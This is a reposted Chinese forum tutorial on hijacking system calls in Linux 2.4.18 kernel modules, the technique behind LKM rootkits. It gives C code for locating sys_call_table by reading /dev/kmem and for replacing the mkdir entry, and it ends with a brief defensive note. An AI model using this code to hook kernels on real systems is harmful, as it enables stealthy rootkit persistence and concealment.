Linux2.4.18內核下的系統調用劫持

火星人 @ 2014-03-26 , reply:0
←手機掃碼閱讀


轉貼:

Linux2.4.18內核下的系統調用劫持註:本文提到的方法和技巧,如有興趣請參考後面提到的兩篇參考文章,雖然比較老了,但是對於本文內容的實現有很大的參考價值。因為篇幅關係,沒有列出完整代碼,但是核心代碼已經全部給出。
Linux現在使用是越來越多了,因此Linux的安全問題現在也慢慢為更多人所關注。Rootkit是攻擊者用來隱藏蹤跡和保留root訪問許可權的工具集,在這些工具當中,基於LKM的rootkit尤其受到關注。這些rootkit可以實現隱藏文件、隱藏進程、重定向可執行文件,給linux的安全帶來很大的威脅,它們所用到的技術主要是系統調用劫持。用LKM技術截獲系統調用的通常步驟如下:
找到需要的系統調用在sys_call_table[]中的入口(參考include/sys/syscall.h)
保存sys_call_table[x]的舊入口指針。(x代表所想要截獲的系統調用的索引)
將自定義的新的函數指針存入sys_call_table[x]
在Linux2.4.18內核以前,可以將sys_call_table導出來直接使用。因此修改系統調用非常容易,下面看一個例子:
extern void* sys_call_table[];/*sys_call_table被引入,所以可以存取*/
int (*orig_mkdir)(const char *path); /*保存原始系統調用的函數指針*/
int hacked_mkdir(const char *path)
{
return 0; /*一切正常,除了新建操作,該操作什麼也不做*/
}
int init_module(void) /*初始化模塊*/
{
orig_mkdir=sys_call_table[SYS_mkdir];
sys_call_table[SYS_mkdir]=hacked_mkdir;
return 0;
}
void cleanup_module(void) /*卸載模塊*/
{
sys_call_table[SYS_mkdir]=orig_mkdir; /*恢復mkdir系統調用到原來的那個*/
}
在Linux2.4.18內核以後,為了解決這個安全問題,sys_call_table不能直接導出,因此上面這個代碼拿到Linux2.4.18內核之後的內核上去編譯載入,會在載入時報錯。那麼要怎麼樣才能得到sys_call_table,實現系統調用劫持呢?

一.怎麼樣得到sys_call_table的地址

1./dev/kmem
先看一下來自Linux手冊頁(man kmem)的介紹:「kmem是一個字元設備文件,是計算機主存的一個影象。它可以用於測試甚至修改系統。」也就是說,讀取這個設備可以得到內存中的數據,因此,sys_call_table的地址也可以通過設備找到。這個設備通常只有root用戶才有rw許可權,因此只有root才能實現這些操作。

2.系統調用過程簡述
每一個系統調用都是通過int 0x80中斷進入核心,中斷描述符表把中斷服務程序和中斷向量對應起來。對於系統調用來說,操作系統會調用system_call中斷服務程序。system_call函數在系統調用表中根據系統調用號找到並調用相應的系統調用服務常式。

3.得到sys_call_table地址的過程
idtr寄存器指向中斷描述符表的起始地址,用sidt[asm ("sidt %0" : "=m" (idtr));]指令得到中斷描述符表起始地址,從這條指令中得到的指針可以獲得int 0x80中斷服描述符所在位置,然後計算出system_call函數的地址。現在反編譯一下system_call函數看一下:
$ gdb -q /usr/src/linux/vmlinux
(no debugging symbols found)...(gdb) disass system_call
Dump of assembler code for function system_call:
……
0xc0106bf2 : jne 0xc0106c48
0xc0106bf4 : call *0xc01e0f18(,%eax,4)
0xc0106bfb : mov %eax,0x18(%esp,1)
0xc0106bff : nop
End of assembler dump.
(gdb) print &sys_call_table
$1 = ( *) 0xc01e0f18
(gdb) x/xw (system_call+44)
0xc0106bf4 : 0x188514ff <-- 得到機器指令 (little endian)
(gdb)
我們可以看到在system_call函數內,是用call *0xc01e0f18指令來調用系統調用函數的。因此,只要找到system_call里的call sys_call_table(,eax,4)指令的機器指令就可以了。我們使用模式匹配的方式來獲得這條機器指令的地址。這樣就必須讀取/dev/kmem裡面的數據。

二.如何在module里使用標準系統調用

處理/dev/kmem里的數據只需要用標準的系統調用就可以了,如:open,lseek,read。
但module里不能使用標準系統調用。為了在module里使用標準系統調用,我們要在module里實現系統調用函數。看看內核源代碼里的實現吧:
#define __syscall_return(type, res) \
do { \
if ((unsigned long)(res) >= (unsigned long)(-125)) { \
errno = -(res); \
res = -1; \
} \
return (type) (res); \
} while (0)
#define _syscall1(type,name,type1,arg1) \
type name(type1 arg1) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "0" (__NR_##name),"b" ((long)(arg1))); \
__syscall_return(type,__res); \
}
static inline _syscall1(int,close,int,fd)
我們可以學習這樣的方法,這樣只要將這些代碼加入到我們的module的代碼裡面,就可以在module里使用這些標準系統調用了。
另外,為了用匹配搜索的方式查找sys_call_table的地址,我們可以用memmem函數。不過memmem是GNU C擴展的函數,它的函數原型是:void *memmem(void *s,int s_len,void *t,int t_len);同樣的,module里也不能使用庫函數,但是我們可以自己實現這個函數。
然而在module里使用標準系統調用還有個問題,系統調用需要的參數要求要在用戶空間而不是在module所在的內核空間。
Linux使用了段選器來區分內核空間、用戶空間等等。被系統調用所用到的而存放在用戶空間中的參數應該在數據段選器(所指的)範圍的某個地方。DS能夠用asm/uaccess.h中的get_ds()函數得到。只要我們把被內核用來指向用戶段的段選器設成所需要的 DS值,我們就能夠在內核中訪問系統調用所用到的(那些在用戶地址空間中的)那些用做參數值的數據。這可以通過調用set_fs(...)來做到。但要小心,訪問完系統調用的參數后,一定要恢復FS。下面是一段例子:
filename內核空間;比如說我們剛創建了一個字串
unsigned long old_fs_value=get_fs();
set_fs(get_ds); /*完成之後就可以存取用戶空間了*/
open(filename, O_CREAT|O_RDWR|O_EXCL, 0640);
set_fs(old_fs_value); /*恢復 fs ...*/

三.在module里實現sys_call_table地址查找的代碼實現

主要代碼如下:
/*實現系統調用*/
unsigned long errno;
#define __syscall_return(type, res) \
do { \
if ((unsigned long)(res) >= (unsigned long)(-125)) { \
errno = -(res); \
res = -1; \
} \
return (type) (res); \
} while (0)
#define _syscall1(type,name,type1,arg1) \
type name(type1 arg1) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "0" (__NR_##name),"b" ((long)(arg1))); \
__syscall_return(type,__res); \
}
#define _syscall3(type,name,type1,arg1,type2,arg2,type3,arg3) \
type name(type1 arg1,type2 arg2,type3 arg3) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \
"d" ((long)(arg3))); \
__syscall_return(type,__res); \
}
static inline _syscall3(int,write,int,fd,const char *,buf,off_t,count)
static inline _syscall3(int,read,int,fd,char *,buf,off_t,count)
static inline _syscall3(off_t,lseek,int,fd,off_t,offset,int,count)
static inline _syscall3(int,open,const char *,file,int,flag,int,mode)
static inline _syscall1(int,close,int,fd)
/*從這裡以後就可以使用這幾個系統調用了*/
struct {
unsigned short limit;
unsigned int base;
} __attribute__ ((packed)) idtr;
struct {
unsigned short off1;
unsigned short sel;
unsigned char none,flags;
unsigned short off2;
} __attribute__ ((packed)) idt;
int kmem;
void readkmem (void *m,unsigned off,int sz)
{
mm_segment_t old_fs_value=get_fs();
set_fs(get_ds());
if (lseek(kmem,off,0)!=off) {
printk("kmem lseek error in read\n"); return;
}
if (read(kmem,m,sz)!=sz) {
printk("kmem read error!\n"); return;
}
set_fs(old_fs_value);
}
#define CALLOFF 100 /* 我們將讀出int $0x80的頭100個位元組 */
/*得到sys_call_table的地址*/
unsigned getscTable()
{
unsigned sct;
unsigned sys_call_off;
char sc_asm[CALLOFF],*p;
/* 獲得IDTR寄存器的值 */
asm ("sidt %0" : "=m" (idtr));
mm_segment_t old_fs_value=get_fs();
const char *filename="/dev/kmem";
set_fs(get_ds());
/* 打開kmem */
kmem = open (filename,O_RDONLY,0640);
if (kmem<0)
{
printk("open error!");
}
set_fs(old_fs_value);
/* 從IDT讀出0x80向量 (syscall) */
readkmem (&idt,idtr.base+8*0x80,sizeof(idt));
sys_call_off = (idt.off2 << 16) | idt.off1;
/* 尋找sys_call_table的地址 */
readkmem (sc_asm,sys_call_off,CALLOFF);
p = (char*)mymem (sc_asm,CALLOFF,"\xff\x14\x85",3);
sct = *(unsigned*)(p+3);
close(kmem);
return sct;
}
好了,但是上面的函數沒有做足夠的錯誤檢查。

四.劫持系統調用

在得到了sys_call_table的地址后,我們就可以很輕易的劫持系統調用了。
我們把最開始的那個例子修改一下,讓它運行在2.4.18的內核。
系統調用的劫持過程主要代碼如下:
static unsigned SYS_CALL_TABLE_ADDR;
void **sys_call_table;
int init_module(void)
{
SYS_CALL_TABLE_ADDR= getscTable();
sys_call_table=(void **)SYS_CALL_TABLE_ADDR;
orig_mkdir=sys_call_table[__NR_mkdir];
sys_call_table[__NR_mkdir]=hacked_mkdir;
return 0;
}
void cleanup_module(void)
{
sys_call_table[__NR_mkdir]=orig_mkdir;
}

五.綜述

雖然內核2.4.18以後不再導出sys_call_table,但是我們仍然可以通過讀/dev/kmem設備文件得到它的地址,來實現系統調用的劫持。要解決這個問題,最好是使/dev/kmem不可讀,或者乾脆不使用這個設備文件。否則,總會給安全帶來隱患。
參考資料:
Phrack58-0x07 Linux on-the-fly kernel patching without LKM
(nearly) Complete Linux Loadable Kernel Modules -the definitive guide for hackers, virus coders and system administrators- written by pragmatic / THC, version 1.0 released 03/1999




[火星人 via ] Linux2.4.18內核下的系統調用劫持已經有206次圍觀

http://www.coctec.com/docs/linux/show-post-189902.html